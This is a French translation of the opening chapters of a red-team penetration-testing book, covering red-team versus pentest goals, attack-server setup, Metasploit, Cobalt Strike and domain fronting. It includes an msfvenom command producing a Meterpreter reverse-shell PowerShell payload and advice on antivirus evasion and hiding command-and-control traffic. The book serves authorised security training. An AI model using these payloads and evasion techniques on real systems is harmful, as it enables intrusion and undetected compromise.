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Prologue


Voici la troisième itération de cette série de livres1. Vous y trouverez notamment un examen approfondi quant à la façon de mettre en place un environnement de laboratoire (appelé labo dans tout ce qui suit, quoi que certains disent aussi lab) dans lequel tester vos attaques, ainsi que les conseils et les astuces les plus récents sur les tests d’intrusion. Enfin, j’ai essayé de rendre cette version plus facile à suivre car de nombreuses écoles ont intégré mes livres dans leurs programmes. Chaque fois que c’est possible, j’ai ajouté des sections de laboratoire permettant de tester une vulnérabilité ou une exploitation.

Je me suis efforcé de garder les choses aussi réalistes, ou « monde réel », que possible. J’essaie aussi d’éviter les attaques théoriques et de me concentrer sur ce que j’ai rencontré dans mon expérience personnelle et sur ce qui a réellement fonctionné. Je pense qu’il y a eu un changement majeur dans le passage des testeurs d’intrusion aux Red Teamers, et je veux vous montrer plutôt que de simplement vous dire pourquoi il en est ainsi. Ma passion est d’enseigner et de mettre les autres au défi. Ainsi, mon objectif à travers ce livre est double : premièrement, je veux que vous vous placiez dans la mentalité d’un agresseur et que vous compreniez le « comment » des attaques ; deuxièmement, je veux que vous preniez les outils et les techniques que vous apprenez et que vous les développiez. Lire et répéter les labos n’est qu’une partie de la question – la principale leçon que j’enseigne à mes étudiants est de laisser parler le travail au nom du talent. Au lieu de travailler sur votre CV (bien sûr, vous devriez avoir un CV), j’ai vraiment le sentiment que le fait d’avoir un blog public GitHub dépôt/technique de qualité en dit bien plus long sur les compétences en matière de sécurité qu’un CV, même bon. Que vous viviez dans le monde bleu défensif ou rouge offensif, il est impératif de vous impliquer et de partager avec notre communauté dédiée à la sécurité.

J’ai plus de 12 ans d’expérience dans le domaine des tests d’intrusion/red teaming pour de grandes institutions financières, de grandes sociétés de services, des entreprises présentes dans le classement Fortune 500 et des organismes gouvernementaux. J’ai également passé des années à enseigner la sécurité réseau offensive dans des universités, à donner des conférences sur la sécurité, à être cité dans de nombreuses publications spécialisées, à donner des cours partout aux USA, à organiser de nombreux concours publics CTF (Capture The Flag) et j’ai fondé ma propre école de sécurité. L’un de mes grands projets a été la création d’une communauté de sécurité gratuite et ouverte en Californie du Sud appelée LETHAL (meetup.com/lethal). Avec plus de 800 membres, des réunions mensuelles, des compétitions, et plus encore, c’est devenu un environnement étonnant et passionnant où les gens peuvent partager, apprendre et grandir.

Une remarque importante est que j’utilise aussi bien des outils commerciaux que des outils open source. Pour chaque outil commercial discuté, j’essaie de fournir un équivalent open source. Je rencontre occasionnellement des pentesters qui prétendent n’utiliser que des outils open source. En tant que testeur d’intrusion, je trouve cette affirmation difficile à accepter. Si vous êtes supposé imiter une attaque du « monde réel », n’oubliez pas que les « méchants » n’ont pas ces restrictions. Par conséquent, vous devez utiliser n’importe quel outil (commercial ou open source) qui vous permettra de faire le travail.

On me demande souvent à qui s’adresse ce livre. Il est vraiment difficile de répondre à cette question, car je crois vraiment que n’importe qui dans le domaine de la sécurité peut apprendre. Certaines parties de ce livre sont peut-être trop avancées pour les lecteurs débutants, d’autres sont trop faciles pour les hackers avancés, et d’autres encore ne correspondent peut-être même pas à votre domaine de sécurité.

Certains, notamment les débutants, ont tendance à tirer le meilleur parti des livres après les avoir lus pour la deuxième ou la troisième fois (en laissant suffisamment de temps entre les lectures). Il y a bien sûr beaucoup de travail qui vous est demandé tout au long de ce livre, et il faut évidemment du temps pour tout absorber. Donc, je vous dirais de vous détendre, de bien lire, de passer en revue les labos et les exemples, de construire votre propre labo (ou lab si vous préférez), de pousser vos scripts/codes vers un dépôt public GitHub, et de lancer un blog.

Enfin, être membre d’une Red Team, c’est à moitié une question de technique et pour l’autre moitié de confiance. Bon nombre des exercices d’ingénierie sociale exigent que vous surmontiez votre nervosité et que vous sortiez de votre zone de confort. David Letterman l’a dit : « Prétendre ne pas avoir peur, c’est aussi bien que de ne pas avoir peur ». Même si cela doit être pris avec un certain recul, il suffit parfois d’avoir confiance, de se lancer et de ne pas regarder en arrière.


Notes et avis de non-responsabilité

Je ne le répéterai jamais assez : n’allez pas à la recherche de serveurs vulnérables et d’exploits sur des systèmes que vous ne possédez pas sans une approbation claire, nette et précise. Encore une fois, n’essayez pas de lancer une des attaques de ce livre sans une approbation claire, nette et précise. Même s’il s’agit d’une question de curiosité sans intention malveillante, vous pouvez tout de même vous attirer beaucoup d’ennuis pour ces actions. Il existe de nombreux programmes de bug bounty (primes de bogues) et de sites/VM vulnérables qui permettent d’apprendre afin de pouvoir continuer à progresser. Même pour certains programmes de bug bounty, aller trop loin peut vous attirer des ennuis. En voici quelques exemples :


	https://bit.ly/2NFvg9C


	https://bit.ly/23WDlWh


	https://bit.ly/32gmAd7




Si vous pensez que c’est mal, c’est probablement mal. La frontière entre la recherche et les activités illégales est ténue !

Rappelez-vous : testez UNIQUEMENT les systèmes pour lesquels vous avez une autorisation écrite. Il suffit d’une petite recherche sur Google pour trouver beaucoup d’exemples différents dans lesquels de jeunes adolescents ont été condamnés à des années de prison pour ce qu’ils pensaient être un « moment amusant ». Il existe de nombreuses plateformes gratuites où le piratage légal est autorisé pour vous aider à poursuivre vos études et à progresser.

Enfin, je ne suis pas un expert de Windows, de codage, de développement d’exploits, de Linux, ou en fait de quoi que ce soit d’autre. Si je me suis mal exprimé au sujet d’une technologie, d’un outil ou d’un processus spécifiques, je mettrai à jour ma page Web pour rectifier tout ce qui est signalé comme incorrect :

thehackerplaybook.com/updates


De plus, une grande partie de mon livre s’appuie sur les recherches menées par d’autres personnes dans ce domaine, et j’essaie de fournir des liens vers leurs travaux chaque fois que c’est possible. Encore une fois, si l’un d’entre eux manque, je mettrai à jour la page Web indiquée ci-dessus. Nous avons une communauté impressionnante, et je veux m’assurer que tout le monde soit reconnu pour son excellent travail !






1. Note de l’éditeur : le titre original de la série est The Hacker Playbook. Les deux précédents ouvrages ne sont pas traduits en français. Mais ce n’est pas un problème, car cette édition « Red Team » est de loin la plus élaborée et la plus récente. Si vous voulez aller au-delà, voyez également le site de l’auteur, à l’adresse : https://securepla.net/hacker-playbook/.






Introduction


Commençons par présenter votre mission, du moins si vous l’acceptez. Notre cible, les Cyber Kittens. Ils sont de retour avec leur toute nouvelle division spatiale appelée Cyber Space Kittens (CSK). Cette nouvelle division a tiré toutes les leçons des évaluations antérieures de sécurité pour renforcer ses systèmes, mettre en place un centre local d’opérations de sécurité et même créer des politiques de sécurité. Vous êtes engagé pour voir si tous ces contrôles de sécurité ont amélioré leur comportement général.

D’après les petits détails que nous avons recueillis, il semble que Cyber Space Kittens ait découvert une planète secrète située dans la grande nébuleuse d’Andromède ou la galaxie d’Andromède. Cette planète, située sur l’un des deux bras en spirale, est appelée KITT-3n. KITT-3n, dont la taille est le double de celle de la Terre, réside dans le système binaire appelé OI 31337 avec une étoile deux fois plus grande que celle de la Terre. Cela crée un environnement potentiellement habitable avec des océans, des lacs, des plantes, et peut-être même la vie...

Avec l’espoir d’une nouvelle vie, de l’eau et d’une autre planète viable, la course spatiale est une réalité. CSK nous a engagés pour effectuer une évaluation Red Team afin de s’assurer qu’ils sont en sécurité et capables de détecter et de stopper une faille. Leur direction a vu et entendu parler de toutes les infractions majeures de l’année dernière et veut embaucher seulement les meilleures équipes. C’est ici que vous intervenez...

Votre mission, si donc vous l’acceptez, consiste à trouver toutes les vulnérabilités externes et internes, à utiliser les exploits les plus récents, à utiliser les vulnérabilités en chaîne et à voir si leurs équipes défensives peuvent vous détecter ou vous arrêter.

Quels types de tactiques, de menaces et de procédures allez-vous devoir employer ? Dans cette campagne, il va vous falloir faire une tonne de reconnaissances et de découvertes, rechercher les faiblesses de leur infrastructure externe, pratiquer l’ingénierie sociale, l’élévation de privilèges, obtenir des informations réseau internes, vous déplacer latéralement dans le réseau, et finalement exfiltrer les systèmes et les bases de données KITT-3n.


Équipes de tests d’intrusion versus Red Teams

Avant de nous plonger dans les idées techniques derrière la notion d’équipe rouge, j’ai besoin de clarifier mes définitions à propos de la différence entre test d’intrusion et Red Team. Ces expressions se rencontrent souvent et peuvent engendrer un peu de confusion. Pour que les choses soient claires dans ce livre, il convient d’expliciter la manière dont je vais utiliser ces deux termes.

Le test d’intrusion est la manière la plus rigoureuse et la plus méthodique de tester un réseau, une application, un matériel, etc. Si ce n’est déjà fait, je vous recommande de lire la documentation concernant le standard d’exécution des tests d’intrusion (ou PTES, pour Penetration Testing Execution Standard, http://www.pentest-standard.org/) – c’est une excellente façon de savoir comment effectuer une évaluation.

Dans un test réseau traditionnel, nous recherchons généralement les vulnérabilités, nous trouvons et nous tirons profit d’un système ou d’une application exploitable, nous faisons peut-être un peu de postexploitation, nous trouvons un administrateur de domaine et nous rédigeons un rapport. Ces types de tests créent une matrice de vulnérabilités, de problèmes de correctifs et de résultats très exploitables. Même lors de la définition du périmètre d’intervention, les tests d’intrusion sont très bien définis, limités à une ou deux semaines d’évaluation, et sont généralement annoncés aux équipes chargées de la sécurité interne de l’entreprise. Les entreprises ont encore besoin de testeurs d’intrusion dans le cadre de leur cycle de vie de développement logiciel sécurisé (S-SDLC, Secure Software Development Life Cycle1).

De nos jours, même si les entreprises ont des programmes de gestion des vulnérabilités, des programmes S-SDLC, des testeurs d’intrusion, des équipes/programmes d’intervention en cas d’incident et de nombreux outils de sécurité très coûteux, elles sont toujours exposées aux compromissions. Si nous examinons les violations récentes (https://bit.ly/2LH6IKU), nous constatons qu’un grand nombre d’entre elles sont survenues dans de très grandes entreprises bien établies. Nous avons vu dans d’autres rapports de sécurité que certaines compromissions auraient pu durer plus de 6 mois avant d’être détectées (https://bit.ly/2LJ4omz). Certains rapports indiquent également que près d’un tiers de toutes les entreprises américaines ont été piratées en 2017 (https://bit.ly/2lrm9rP). Les questions que je veux que les entreprises se posent sont les suivantes : si ces mêmes sales types ou les mêmes acteurs s’en sont pris à votre entreprise avec exactement les mêmes tactiques, pourriez-vous les détecter, combien de temps cela prendrait-il, pourriez-vous vous en remettre, et pourriez-vous comprendre exactement ce qu’ils ont fait ?

C’est là que notre Red Team entre en jeu. Sa mission est d’imiter les tactiques, les techniques et les procédures (TTP) des adversaires. Les objectifs sont de donner des faits réels et concrets sur la façon dont une entreprise va réagir, de trouver des failles dans un programme de sécurité, d’identifier les lacunes au niveau des compétences des employés et, en fin de compte, d’améliorer leur comportement en matière de sécurité.

La démarche d’une Red Team n’est pas aussi méthodique que pour les tests d’intrusion. Puisque nous simulons des événements du monde réel, chaque test peut différer de façon significative. Certaines campagnes peuvent se concentrer sur l’obtention d’informations personnelles identifiables (PII) ou de listes de cartes de crédit, tandis que d’autres ont pour but de prendre le contrôle d’un domaine en tant qu’administrateur. En parlant d’administration de domaine, c’est là que je vois une énorme différence entre les tests de pénétration et les campagnes Red Team. Pour les tests d’intrusion dans un réseau, nous adorons nous transformer en administrateur de domaine pour avoir accès au contrôleur de domaine (DC) et nous arrêter là. Pour les campagnes Red Team, en fonction des objectifs poursuivis, nous pouvons ignorer complètement le DC. Cela s’explique en partie par le fait que nous voyons de nombreuses entreprises entourer leur contrôleur de domaine d’énormément de protections.

Ils peuvent avoir des listes blanches d’applications, une surveillance de l’intégrité, beaucoup de règles IDS2/IPS3/HIPS4, et plus encore. Puisque notre mission n’est pas de nous faire prendre, nous devons rester discrets. Une autre règle que nous suivons est que nous n’effectuons presque jamais d’analyse de vulnérabilité sur le réseau interne. Combien d’adversaires avez-vous vus commencer à effectuer des analyses de vulnérabilité complètes une fois dans un environnement compromis ? C’est extrêmement rare. Pourquoi ? Parce que ces scans sont très « bruyants » sur le réseau, et qu’ils seront très probablement repérés dans le monde actuel.

Une autre différence majeure est liée à la durée. Avec les tests d’intrusion, nous avons de la chance si nous disposons de deux semaines, à défaut d’une seule. En revanche, les équipes rouges doivent construire des campagnes qui durent de 2 semaines à 6 mois. Cela vient du fait que nous avons besoin de simuler des attaques réelles, d’utiliser l’ingénierie sociale, des balises, et ainsi de suite. Enfin, la plus grande différence concerne les résultats produits par les deux types d’équipes. Au lieu d’une liste de vulnérabilités, les conclusions d’une Red Team doivent être davantage axées sur les lacunes des processus, des politiques, des outils et des compétences de la Blue Team. Dans votre rapport final, il se peut que vous ayez certaines constatations sur la vulnérabilité qui ont été utilisées pour la campagne, mais la plupart d’entre elles concerneront des lacunes dans le programme de sécurité. Rappelez-vous que les conclusions du rapport devraient servir principalement au programme de sécurité, et non au service informatique.

Avec les Red Teams, nous devons redonner de la valeur à l’entreprise. Il ne s’agit pas du nombre total de vulnérabilités ou du niveau critique des vulnérabilités individuelles : il s’agit de prouver comment le programme de sécurité fonctionne. Le but de la Red Team est de simuler des événements réels dont nous pouvons assurer le suivi. Deux métriques fortes qui se dégagent de ces campagnes sont le délai de détection (TTD, Time To Detect) et le délai d’atténuation (TTM, Time To Mitigate). Ce ne sont pas des concepts nouveaux, mais ils sont toujours précieux pour les équipes rouges.

[image: Tableau]


La notion de TTD désigne le temps qui s’écoule entre la survenue initiale de l’incident et le moment où un analyste détecte celui-ci et commence à y travailler. Supposons que vous avez un email d’ingénierie sociale et que l’utilisateur exécute un malware sur son système. Même si leur antivirus, leur système de sécurité basé sur l’hôte ou leurs outils de surveillance peuvent se déclencher, l’heure enregistrée est celle à laquelle l’analyste crée ce premier ticket.

TTM représente la seconde mesure temporelle à enregistrer. Elle est déclenchée lorsque le blocage du pare-feu, le DNS sinkhole5 ou l’isolation du réseau sont mis en œuvre. L’autre information précieuse à consigner est la façon dont les équipes de sécurité travaillent avec le service informatique, comment la direction gère un incident critique, et si les employés paniquent. Avec toutes ces données, nous pouvons produire des chiffres réels sur le niveau de risque de votre entreprise, ou sur la probabilité pour qu’elle soit compromise.




En résumé

Le grand point sur lequel je veux insister, c’est que les gestionnaires doivent sortir de cette mentalité qui consiste à se fier aux chiffres provenant d’audits. Nous avons tous des raisons de nous y conformer, et cela peut certainement nous aider à faire mûrir nos programmes, mais n’offre pas toujours une sécurité globale réelle pour une entreprise. En tant que Red Teamers, notre travail consiste justement à vérifier si le programme de sécurité global fonctionne.

En lisant ce livre, je veux que vous vous mettiez dans l’état d’esprit de la Red Team et que vous vous concentriez sur ce qui suit :


	les vulnérabilités en termes de sécurité et non en termes de service informatique ;


	simuler des événements du monde réel ;


	vivre dans un monde d’infections constantes par l’équipe rouge.




Mettez le système à l’épreuve... Fournissez des données réelles pour prouver les failles de sécurité.






1.  Voir par exemple : https://bit.ly/2NGzzBJ.

2.  Système de détection d’intrusion. Voir par exemple : https://bit.ly/2XyinTf.

3.  Système de prévention d’intrusion. Voir par exemple : https://bit.ly/2LJnhFO.

4.  Système de détection d’intrusion au niveau de l’hôte.

5.  Voir par exemple : https://en.wikipedia.org/wiki/DNS_sinkhole.







Chapitre 1

Avant le match - Préparer le terrain


En tant que Red Team (équipe rouge), nous ne nous soucions pas vraiment des origines d’une attaque. Ce que nous voulons, c’est apprendre des TTP (Tactiques, Techniques et Procédures). Par exemple, en examinant des sources publiques, nous avons trouvé un rapport détaillé de FireEye sur une attaque qu’ils ont analysée :

https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf


En examinant leur analyse, nous pouvons voir que les TTP des logiciels malveillants ont utilisé Twitter dans le cadre d’un Command and Control (C2), des images avec clés de cryptage, GitHub, et la stéganographie1. C’est là que nous devrions construire une campagne similaire pour voir si votre entreprise pouvait détecter cette attaque.

La matrice ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) de MITRE fournit une ventilation détaillée des attaques APT pour différents OS. Il s’agit d’une grande collection de différents TTP couramment utilisés avec toutes sortes d’attaques (voir le Tableau 1.12).

Une autre ressource est une liste en cours de constitution intitulée APT Groups and Operations de @cyb3rops. Ce document au format tableur de Google (http://bit.ly/2GZb8eW) décompose les différents groupes APT suspectés et leurs jeux d’outils (voir la Figure 1.1). C’est une liste utile pour nous en tant que Red Teamers pour simuler différentes attaques. Bien sûr, nous n’utiliserons peut-être pas les mêmes outils que ceux qui sont documentés dans les rapports, mais nous pouvons construire des outils similaires qui feront la même chose.


TABLEAU 1.1 : La matrice Entreprise ATT&CK de Mitre (extrait).
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FIGURE 1.1 : APT Groups and Operations (extrait).



Exercices d’intrusion présumée

Les entreprises doivent vivre dans un monde où elles partent du principe qu’elles ont déjà été violées. De nos jours, trop d’entreprises supposent qu’en raison d’une certaine case à cocher ou d’un test annuel d’intrusion, elles sont en sécurité. Nous devons nous mettre dans un état d’esprit où nous sommes toujours en train de chasser, en supposant que le mal rôde autour de nous et en recherchant ces anomalies.

C’est là que les campagnes de la Red Team diffèrent fortement des tests d’intrusion (ou de pénétration). Puisque ces campagnes se concentrent sur la détection et la mitigation (l’atténuation) plutôt que sur les vulnérabilités, nous pouvons faire des évaluations plus spécifiques. Une évaluation qui procure aux clients des avantages immenses est appelée un exercice d’intrusion présumée. Dans un tel exercice, le concept est qu’il y aura toujours un « jour zéro » (0-day3). Et donc, le client peut-il identifier et atténuer les étapes secondaires et tertiaires ?

Dans ces scénarios, les Red Teams travaillent avec un groupe limité de personnes au sein de l’entreprise pour obtenir une seule charge utile de malware personnalisée à exécuter sur leur serveur. Cette charge utile devrait essayer de se connecter de multiples façons, s’assurer de contourner l’antivirus actif, et permettre l’exécution de charges utiles supplémentaires à partir de la mémoire. Nous retrouverons des exemples de charges utiles tout au long du livre. Une fois que la charge utile initiale est exécutée, c’est là que tout le plaisir débute !




Mettre en place votre campagne

C’est l’une de mes parties préférées du travail avec les missions Red Team. Avant de compromettre votre premier système, vous devez définir la portée de la campagne de votre Red Team. Dans beaucoup de tests d’intrusion, on vous donne une cible et vous essayez continuellement d’entrer par effraction dans ce système unique. Si quelque chose échoue, vous passez à la suivante. Il n’y a pas de script, et vous êtes généralement assez concentré sur ce réseau.

Dans les campagnes Red Team, nous partons de quelques objectifs. Ces objectifs peuvent inclure les points suivants, sans s’y limiter :


	Quels sont les objectifs finaux ? S’agit-il seulement d’une détection APT4 ? Est-ce pour « planter » un drapeau sur un serveur ? Est-ce pour obtenir des données à partir d’une base de données ? Ou s’agit-il simplement d’obtenir des métriques TTD (Time To Detect, soit « temps de détection ») ?


	Y a-t-il une campagne publique que nous voulons copier ?


	
Quelles techniques allez-vous utiliser ? Nous avons parlé de l’utilisation de la matrice MITRE ATT&CK, mais quelles sont les techniques exactes dans chaque catégorie ?

	L’équipe de Red Canary a fourni des informations détaillées sur chacune de ces techniques. Je vous recommande fortement de prendre le temps de les lire toutes : http://bit.ly/2N1yqQx.





	Quels outils le client veut-il que vous utilisiez ? S’agira-t-il d’outils offensifs standard comme Metasploit, Cobalt Strike, DNS Cat ? Ou bien d’outils sur mesure ?




Le meilleur, c’est que se faire prendre fait partie de l’évaluation. Il y a des campagnes où on se fait prendre 4 ou 5 fois, et où on doit « brûler » 4 ou 5 environnements différents. Cela montre vraiment à votre client que ses défenses fonctionnent (ou ne fonctionnent pas) en fonction des résultats qu’il attendait. À la fin du livre, je donnerai quelques exemples de rapports sur la façon dont nous capturons les métriques et dont nous présentons ces données.




Configurer vos serveurs externes

Il existe de nombreux services différents que nous utilisons pour construire nos campagnes. Dans le monde d’aujourd’hui, avec l’abondance de serveurs privés virtuels (VPS), le fait d’installer vos machines d’attaque sur Internet n’affolera pas votre budget. Par exemple, j’utilise couramment des serveurs Digital Ocean Droplets (https://www.digitalocean.com/products/compute) ou les services Amazon Lightsail (https://aws.amazon.com/fr/lightsail/ ou https://lightsail.aws.amazon.com si vous disposez déjà d’un compte AWS – Amazon Web Services – ou que vous voulez en créer un) pour configurer mes serveurs VPS. Les raisons pour lesquelles j’utilise ces services sont qu’ils sont généralement très peu coûteux (parfois gratuits), qu’ils permettent d’utiliser des serveurs Ubuntu, qu’ils permettent de configurer des serveurs dans toutes sortes de régions et, surtout, qu’ils sont très faciles à installer. En quelques minutes, vous pouvez configurer de multiples serveurs et exécuter les services Metasploit et Empire.

Dans ce livre, je vais me concentrer sur les serveurs AWS Lightsail, en raison de la facilité d’installation, de la capacité à automatiser les services, et la quantité de trafic se dirigeant normalement vers AWS. Une fois que vous avez entièrement créé une image qui vous convient, vous pouvez rapidement la cloner sur plusieurs serveurs, ce qui rend extrêmement facile la création de boîtes Command and Control (C2) prêtes à l’emploi.

À nouveau, vous devez vous assurer de respecter les conditions de service imposées par le fournisseur de VPS (en l’occurrence, voyez ce que dit l’adresse https://aws. amazon.com/service-terms/) afin de ne pas rencontrer de problèmes (la dernière version en français en date de ces conditions de service est un document de près d’une centaine de pages).


	https://lightsail.aws.amazon.com/


	
Créez une instance :


	Je recommande fortement d’obtenir au moins 1 Go de RAM.


	L’espace de stockage n’est généralement pas un problème.






	Linux/Unix


	OS uniquement -> Ubuntu


	Télécharger Cert


	chmod 600 cert


	ssh -i cert ubuntu@[ip]




Une fois connecté à votre serveur, vous devez installer tous les outils de manière aussi efficace et répétable que possible. C’est ici que je vous recommande de développer vos propres scripts pour mettre en place des choses telles que des règles IPTables, des certificats SSL, des outils, des scripts, et ainsi de suite. Un moyen rapide de construire vos serveurs consiste à intégrer The PenTesters Framework (PTF) de TrustedSec. Cette collection de scripts (https://github.com/trustedsec/ptf) fait un tas de difficile travail à votre place, et il crée un framework pour tout le reste. Prenons un exemple rapide d’installation de tous nos outils d’exploitation, de collecte d’informations, de postexploitation, de PowerShell, et d’analyse de vulnérabilité :


	sudo su -


	apt-get update


	apt-get install python


	git clone https://github.com/trustedsec/ptf opt/ptf


	cd /opt/ptf && ./ptf


	use modules/exploitation/install_update_all


	use modules/intelligence-gathering/install_update_all


	use modules/post-exploitation/install_update_all


	use modules/powershell/install_update_update_all


	use modules/vulnerability-analysis/install_update_all


	cd /pentest




La Figure 1.2 montre les différents modules disponibles, dont certains ont été installés par nos soins.

[image: FIGURE 1.2 : Liste de tous les modules disponibles.]

FIGURE 1.2 : Liste de tous les modules disponibles.


Si nous jetons un coup d’œil à notre VPS attaquant, nous pouvons voir tous les outils installés sur notre boîte (voir la Figure 1.3). Si nous voulions démarrer Metasploit, nous pourrions simplement taper : msfconsole.

[image: FIGURE 1.3 : Tous les outils installés sous /pentest.]

FIGURE 1.3 : Tous les outils installés sous /pentest.


Une chose que je recommande toujours, c’est de mettre en place des règles IPTables solides. Comme il va s’agir de votre serveur attaquant, vous voudrez limiter l’origine des authentifications SSH, celle des charges utiles Empire/Meterpreter/Cobalt Strike, ainsi que celle des pages de phishing que vous utiliserez.

Peut-être vous souvenez-vous qu’en 2016, quelqu’un avait trouvé une exécution de code distant (Remote Code Exécution – RCE) sur le serveur Cobalt Strike (https://bit.ly/2MxyGKU). Vous ne voulez certainement pas que vos serveurs d’attaque soient compromis avec les données de vos clients.

J’ai aussi vu certaines Red Teams exécuter Kali Linux (ou au moins Metasploit) dans Docker au sein d’AWS (http://bit.ly/2qz2vN9). De mon point de vue, il n’y a pas de mauvaise façon de créer vos systèmes. Ce que vous voulez, c’est produire un processus efficace et reproductible pour déployer de multiples machines. La meilleure partie de l’utilisation de Lightsail est qu’une fois votre machine configurée en fonction de vos préférences, vous pouvez en prendre un cliché, et mettre en place plusieurs instances toutes nouvelles de cette image.

Si vous voulez faire passer votre environnement à un niveau supérieur, jetez un coup d’œil sur le travail de l’équipe de Coalfire-Research. Ils ont construit des modules personnalisés pour faire tout le travail le plus dur et l’automatiser pour vous. Red Baron est un ensemble de modules et de fournisseurs personnalisés/tiers pour Terraform, qui tente d’automatiser la création d’une infrastructure résiliente, jetable, sûre et agile pour les Red Teams (https://github.com/Coalfire-Research/Red-Baron). Que vous souhaitiez construire un serveur de phishing, une infrastructure Cobalt Strike ou créer un serveur DNS C2, vous pouvez tout faire avec Terraform. Consultez le site GitHub de Red Baron et découvrez les différents modules disponibles pour construire rapidement votre propre infrastructure.




Outils du commerce

Il existe une myriade d’outils qu’une Red Team pourrait utiliser, mais intéressons-nous à certaines des ressources de base. Rappelez-vous qu’en tant que Red Teamer, le but n’est pas de compromettre un environnement (ce qui est certes le plus amusant), mais de reproduire des attaques du monde réel pour voir si un client est protégé et est capable de détecter des attaques dans un délai très court. Passons donc en revue certains des outils Red Team les plus courants.


Metasploit

Nous n’allons pas nous plonger trop profondément dans Metasploit. Retenons cependant que Metasploit Framework est toujours un outil de référence, même s’il a été développé en 2003. Cela est dû à la fois au créateur original, H.D. Moore, et à la communauté très active qui le supporte. Ce framework piloté par la communauté (https://github.com/rapid7/metasploit-framework/commits/master), qui semble être mis à jour quotidiennement, contient tous les derniers exploits publics, des modules de postexploitation, des modules auxiliaires, et plus encore.

Dans le cadre des missions Red Team, nous pouvons utiliser Metasploit pour compromettre des systèmes internes avec le MS17-010 Eternal Blue Exploit (http://bit.ly/2H2PTsI) pour obtenir notre premier shell, ou encore nous servir de Metasploit pour générer une charge utile Meterpreter pour notre attaque en ingénierie sociale.




Offuscation de charges utiles Meterpreter

Si nous effectuons une attaque d’ingénierie sociale, nous pourrions vouloir utiliser un document Word ou Excel comme mécanisme de livraison. Cependant, un problème potentiel est que nous pourrions ne pas être en mesure d’inclure un binaire de charge utile Meterpreter ou de le télécharger à partir du Web, car cela pourrait déclencher une réaction de l’antivirus. En outre, une solution simple consiste à effectuer une offuscation à l’aide de PowerShell :

msfvenom --payload windows/x64/meterpreter_reverse_http --format psh --out meterpreter-64.ps1 LHOST=127.0.0.1


Nous pouvons même passer à un niveau supérieur et utiliser des outils comme Unicorn (https://github.com/trustedsec/unicorn) pour générer des charges utiles PowerShell Meterpreter plus obscurcies, que nous aborderons plus en détail au fil du livre (voir la Figure 1.4).

[image: FIGURE 1.4 : Utiliser Unicorn.]

FIGURE 1.4 : Utiliser Unicorn.


De plus, l’utilisation de certificats SSL/TLS signés par une autorité de confiance pourrait nous aider à contourner certains outils de détection d’intrusion (ou IDS, pour Intrusion Detection System) :

https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode


Enfin, nous verrons plus loin comment recompiler Metasploit/Meterpreter à partir de zéro pour échapper aux outils de détection basés sur l’hôte et sur le réseau.




Cobalt Strike

Cobalt Strike est de loin l’un de mes outils de simulation Red Team préférés. Qu’est-ce que Cobalt Strike ? C’est un outil pour la postexploitation, le mouvement latéral, le camouflage dans le réseau, et l’exfiltration. Cobalt Strike n’a pas vraiment d’exploits et n’est pas utilisé pour compromettre un système via la vulnérabilité 0-day la plus récente. Ses fonctions et ses pouvoirs étendus se manifestent de manière extensive lorsque le code est déjà exécuté sur un serveur ou lorsqu’il est utilisé dans le cadre d’une charge utile pour une campagne d’hameçonnage. Une fois que vous pouvez exécuter une charge utile Cobalt Strike, elle crée une connexion Beacon vers le serveur de commande et de contrôle.

Les nouvelles licences Cobalt Strike coûtent 3 500 $ par utilisateur pour une licence d’un an. Ce n’est donc pas un outil bon marché à utiliser. Mais une version d’essai limitée gratuite est disponible.


Infrastructure Cobalt Strike

Comme nous l’avons mentionné précédemment, en matière d’infrastructure, nous voulons mettre en place un environnement réutilisable et hautement souple. Cobalt Strike supporte les redirecteurs de sorte que si votre domaine C2 est grillé, vous n’avez pas besoin de créer un nouvel environnement, seulement un nouveau domaine (voir la Figure 1.5). Vous trouverez plus d’informations sur l’utilisation de socat pour configurer ces redirecteurs aux adresses suivantes : http://bit.ly/2qxCbCZ et http://bit.ly/2IUc4Oe.
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FIGURE 1.5 : Schéma de redirection.


Pour élever le niveau de vos redirecteurs, nous utilisons Domain Fronting. Domain Fronting est une collection de techniques permettant d’utiliser les domaines et infrastructures d’autres personnes comme redirecteurs pour votre contrôleur (http://bit.ly/2GYw55A). Cela peut être réalisé en utilisant des réseaux de diffusion de contenu (ou CDN, pour Content Delivery Network) populaires tels que CloudFront d’Amazon ou d’autres hôtes Google pour masquer les origines du trafic. Il a été utilisé dans le passé par différents adversaires (http://bit.ly/2HoCRFi).

En utilisant de tels domaines ayant une haute réputation, tout trafic, qu’il soit HTTP ou HTTPS, aura l’air de communiquer vers ces domaines au lieu de nos serveurs malveillants de commande et de contrôle. Comment tout cela fonctionne-t-il ? En utilisant un exemple de très haut niveau, tout votre trafic sera envoyé vers l’un des principaux noms de domaine pleinement qualifiés (ou FQDN, pour Fully Qualified Domain Name) pour CloudFront, comme a0.awsstatic.com, qui est le domaine primaire de CloudFront. Modifier l’en-tête de l’hôte dans la requête redirigera tout le trafic vers notre distribution CloudFront, qui redirigera finalement le trafic vers notre serveur Cobalt Strike C2 (http://bit.ly/2GYw55A). La Figure 1.6 illustre ce schéma.

[image: FIGURE 1.6 : Schéma de redirection du trafic.]

FIGURE 1.6 : Schéma de redirection du trafic.


En changeant l’en-tête HTTP Host, le CDN nous redirigera joyeusement vers le bon serveur. Les Red Teams se sont servies de cette technique pour cacher le trafic C2 en utilisant des redirecteurs de haute réputation.

Voici d’autres importantes ressources sur différents produits qui supportent Domain Fronting :


	CyberArk a également écrit un excellent blog sur la façon d’utiliser les produits Google App pour qu’ils donnent l’impression que votre trafic se déroule sur www.google.com, mail.google.com, ou docs.google.com. Voyez l’adresse suivante : http://bit.ly/2Hn7RW4.


	Vincent Yiu a écrit un article sur la façon d’utiliser Alibaba pour supporter ses attaques de Domain Fronting : http://bit.ly/2HjM3eH.


	
Cobalt Strike n’est pas le seul outil qui peut prendre en charge le Domain Fronting. Cela peut également être réalisé avec Meterpreter :

	https://bitrot.sh/post/30-11-2017-domain-fronting-with-meterpreter/.







Note : au moment de la publication de ce livre, AWS (et même Google) ont commencé à mettre en place des protections contre le Domain Fronting (https://amzn.to/2I6lSry). Cela n’arrête pas ce type d’attaque, mais nécessiterait des ressources tierces différentes pour y parvenir.

